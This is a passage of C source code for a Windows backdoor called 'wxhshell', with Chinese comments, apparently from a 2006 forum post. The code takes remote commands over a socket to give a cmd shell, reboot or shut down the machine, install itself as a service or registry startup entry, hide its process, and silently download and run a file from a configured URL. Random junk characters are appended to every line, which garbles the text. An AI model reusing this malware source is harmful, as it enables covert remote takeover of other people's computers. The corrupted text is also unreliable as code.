    switch(cmd[0]) { 90Bn}@t=Q  
  fNk0&M  
  // 帮助 PJF1+I.%c#  
  case '?': { [[7=rn}@<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -T=sY/O  
    break; 1smKU9B2)  
  } #ZyY(S1.  
  // 安装 jB"IJ$cD  
  case 'i': { q|ZzGEj:OV  
    if(Install()) +~n4</  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9<Ks2W.N  
    else gp<XTLJ@>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T f40lv+{  
    break; cd._q2  
    } EC/=JlL`5  
  // 卸载 k+@,m\tE  
  case 'r': { 'm^]X3y*  
    if(Uninstall()) QV[#^1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0.kC|  
    else d6e$'w@(\T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H7 "r^s]D  
    break; cV4]Y(9  
    } F4]=(T  
  // 显示 wxhshell 所在路径 7g>|e  
  case 'p': { 5t,X;  
    char svExeFile[MAX_PATH]; zJ30ZY:  
    strcpy(svExeFile,"\n\r"); _0|@B8!J?  
      strcat(svExeFile,ExeFile); m.68ctaa  
        send(wsh,svExeFile,strlen(svExeFile),0); _BoYy JQH  
    break; az[#q  
    } w0X})&,{`m  
  // 重启 ^c]c`w  
  case 'b': { ye-[l7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WD@v<Wx)  
    if(Boot(REBOOT)) xW|8-q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VVbFn9+V  
    else { 4_-L1WH  
    closesocket(wsh); 'Q"Mu  
    ExitThread(0); 7J1f$5$m5  
    } I7HGV(  
    break; 3el/,v|qj  
    } A,EuUp  
  // 关机 y~'%PUN  
  case 'd': { sI6I5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S$=caZ?  
    if(Boot(SHUTDOWN)) 4Uhh]/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y&V%xE/  
    else { TBZhL  
    closesocket(wsh); ^Y%<$IFG  
    ExitThread(0); i|rCGa0}  
    } hC4 M}(XM  
    break; @~}~;}0x  
    } .kTOG'K\e  
  // 获取shell 55ft ,a  
  case 's': { X%5 `B2Wu  
    CmdShell(wsh); 8JXS:J.|v  
    closesocket(wsh); 6~l+wu<$  
    ExitThread(0); Uz=o l.E  
    break; C`-CfZZ  
  } 2UIZ<#|D>s  
  // 退出 X|yVRQ?F`  
  case 'x': { "ZL_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Gx*B(t]4y  
    CloseIt(wsh); 9 e|[9  
    break; x`Wb9[u8  
    } ]Ot=At  
  // 离开 `(/xj{"Fr}  
  case 'q': { F2{SC?U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Dw>)\\n{Kl  
    closesocket(wsh); Yr\quinLL  
    WSACleanup(); j'OXT<n*  
    exit(1); [dXa,  
    break; b`JS&E  
        } ?M^qSo=/~  
  } #xfav19{.  
  } lbGPy'h<rt  
#guK&?Fye  
  // 提示信息 1<cx!=w'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U5OFw+J  
} aPRMpY-YC3  
  } 1]Cd fj6@  
"3'a.b akw  
  return; f@q.kD21  
} `sA xk  
~Ye nH  
// shell模块句柄  FLZ9Rg  
int CmdShell(SOCKET sock) .Yvy37n((  
{ zl|+YjR  
STARTUPINFO si; XB@i{/6K  
ZeroMemory(&si,sizeof(si)); ko|M2\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "a(e2H2&T4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2bG92  
PROCESS_INFORMATION ProcessInfo; ?NvE9+n  
char cmdline[]="cmd"; -8vGvI>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'n^?DPvD  
  return 0; B.KK@  
} (pHJEY  
K:% MhH-  
// 自身启动模式 neE Zw#(Z  
int StartFromService(void) I8 [ *  
{ xAO\'#m  
typedef struct }@/Ox  
{ /Dyig  
  DWORD ExitStatus; ;JgSA&'e  
  DWORD PebBaseAddress; Y]Z&  
  DWORD AffinityMask; v;-0^s/P  
  DWORD BasePriority; !vVW8hbp  
  ULONG UniqueProcessId; :fnJp9c  
  ULONG InheritedFromUniqueProcessId; c}|} o^  
}   PROCESS_BASIC_INFORMATION; \gK'g-)}  
oB>#P-V  
PROCNTQSIP NtQueryInformationProcess; ,7Ejb++/M,  
VKfpk^rU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F>^KXq:Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e>6W ^ )  
I+ 3qu=  
  HANDLE             hProcess; Bn%?{z)  
  PROCESS_BASIC_INFORMATION pbi; mKyF<1,m  
7h2/8YUgQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M= |is*t  
  if(NULL == hInst ) return 0; GT80k]e.  
VC_F Cz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t-n'I/^5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); XiV K4sD8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); NH:Bdl3  
mey -Bn  
  if (!NtQueryInformationProcess) return 0; +?*.Emzl@  
%rf6 >  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pHye8v4fvi  
  if(!hProcess) return 0; {X<_Y<  
^|vP").aQm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :Ig9n :  
&j/,8 Z*  
  CloseHandle(hProcess); *a0#PfS[  
Snn4RB<(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K6)IBV;  
if(hProcess==NULL) return 0; U#sv.r/L}3  
EZVgTySd  
HMODULE hMod; ^^24a_+2  
char procName[255]; LaZ @4/z!  
unsigned long cbNeeded; p%X.$0  
Uq x@9z(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bE=[P}E  
nB[B FVkU  
  CloseHandle(hProcess); __uk/2q  
V?>&9D"m  
if(strstr(procName,"services")) return 1; // 以服务启动 M0e&GR8<z>  
N6T  
  return 0; // 注册表启动 M1k_ldP  
} "(~fl<;  
n$h+_xN  
// 主模块 \{Je!#  
int StartWxhshell(LPSTR lpCmdLine) 6/p9ag]  
{ V`i(vC(  
  SOCKET wsl; &uV|Ie8@q  
BOOL val=TRUE; 9"/=D9o9  
  int port=0; _{}^]ZB  
  struct sockaddr_in door; \<y|[  
Jvj* z6/a  
  if(wscfg.ws_autoins) Install(); 0C"2?etMx  
)(1tDQ`L>  
port=atoi(lpCmdLine); }N,v&  B  
$RHw6*COG  
if(port<=0) port=wscfg.ws_port; '!4\H"t  
Tc/<b2 \g  
  WSADATA data; $bBUL C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]n'.}"8Kn  
5-'Z.[ImB?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9I#a{%A:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v0;dk(  
  door.sin_family = AF_INET; D$D;'Kij  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @00&J~D  
  door.sin_port = htons(port); Q'j00/K  
63t'|9^5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { })q8{Qj!  
closesocket(wsl); sebm  
return 1; {n<1uh9~$8  
} \ 9sJ`,T?  
u)/i$N  
  if(listen(wsl,2) == INVALID_SOCKET) { l~@ -oE  
closesocket(wsl); D6\k}4n-  
return 1; z_y@4B6>}  
} <BBSC  
  Wxhshell(wsl); ?fpI,WFu  
  WSACleanup();  xG'F  
>{0,dGm  
return 0; N]|)O]/[  
 .g=D70  
} />7G  
H4M`^r@)'  
// 以NT服务方式启动 1=~##/at  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uL~.#Y_jQ  
{ e4.G9(  
DWORD   status = 0; .[6T7fdi  
  DWORD   specificError = 0xfffffff; xp\6,Jyh  
ag!q:6&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CzmB76zy.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 99b"WH^3$y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /BM{tH  
  serviceStatus.dwWin32ExitCode     = 0; E1qf N>0Z  
  serviceStatus.dwServiceSpecificExitCode = 0; %6:"tuA  
  serviceStatus.dwCheckPoint       = 0; id1gK(F8H  
  serviceStatus.dwWaitHint       = 0; T{F 'Y%  
bHz H0v]:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Cg^1(dBd[9  
  if (hServiceStatusHandle==0) return; #/hXcF  
jF{\=&fU  
status = GetLastError(); B+ZhQW  
  if (status!=NO_ERROR) l?x'R("{  
{ }SS~uQ;8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; AUr~b3< 6  
    serviceStatus.dwCheckPoint       = 0; ]sB%j@G  
    serviceStatus.dwWaitHint       = 0; TM,Fab &  
    serviceStatus.dwWin32ExitCode     = status; su~J:~q  
    serviceStatus.dwServiceSpecificExitCode = specificError; OX{2@+f#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (;++a9GK  
    return; Q\2~^w1V  
  } E*}1_,q)  
vUJQ<D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -Vjrh/@  
  serviceStatus.dwCheckPoint       = 0; g+KuK`\N%  
  serviceStatus.dwWaitHint       = 0; .:SY:v r  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :g)`V4%  
} :b(Nrj&TQ[  
m Wh   
// 处理NT服务事件,比如:启动、停止 ?T8^tGD[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) BPypjS0?8  
{ qW9~S0sl  
switch(fdwControl) EN@<z;  
{ '2S?4Z  
case SERVICE_CONTROL_STOP: C\1x3  
  serviceStatus.dwWin32ExitCode = 0; 1&utf0TX6q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $1bzsB|^  
  serviceStatus.dwCheckPoint   = 0; HP[M"u  
  serviceStatus.dwWaitHint     = 0; dZ,~yV  
  { M tBoX*"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _4X3g%nXl  
  } 3TNj*jo  
  return; OF1Qr bj  
case SERVICE_CONTROL_PAUSE: Hni?r!8r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @-aMj  
  break; 3;wOA4ur  
case SERVICE_CONTROL_CONTINUE: )'axJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L9,O,f  
  break; <P pW.1w  
case SERVICE_CONTROL_INTERROGATE: eq7>-Dmi@  
  break; ^7V{nT@H3  
}; Ab:+AC5{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O|Y~^:ny  
} I_iXu;UX  
YC =:W  
// 标准应用程序主函数 e<HHgC#J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t@3y9U$  
{ ]E}eM@xdD  
 [?moS!  
// 获取操作系统版本 3mLtnRX[m  
OsIsNt=GetOsVer(); 'zfj`aqc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :Wd@Qy?;  
K]C@seF`  
  // 从命令行安装 U6LENY+Ja  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,2`FSL%J  
x\'95qU  
  // 下载执行文件 )o_Pnq9_  
if(wscfg.ws_downexe) { *QP+p,L*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )wfqGkr=m!  
  WinExec(wscfg.ws_filenam,SW_HIDE); wdQ%L4l  
} %%hG],w  
_?c7{  
if(!OsIsNt) { "|<U`3y6  
// 如果时win9x,隐藏进程并且设置为注册表启动 @ACq:+/Q c  
HideProc(); XywsjeI4  
StartWxhshell(lpCmdLine); ,!oR"b!  
} }MW+K&sIh  
else BFn4H%1  
  if(StartFromService()) P8n |MN  
  // 以服务方式启动 +9R@cUr  
  StartServiceCtrlDispatcher(DispatchTable); <@J0 770  
else 3D2i32Y@!  
  // 普通方式启动 cOvdC4  
  StartWxhshell(lpCmdLine); :L5k#E "u  
8>a%L?BY  
return 0; WADAp\&  
}
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只看该作者 1 发表于: 2006-10-10
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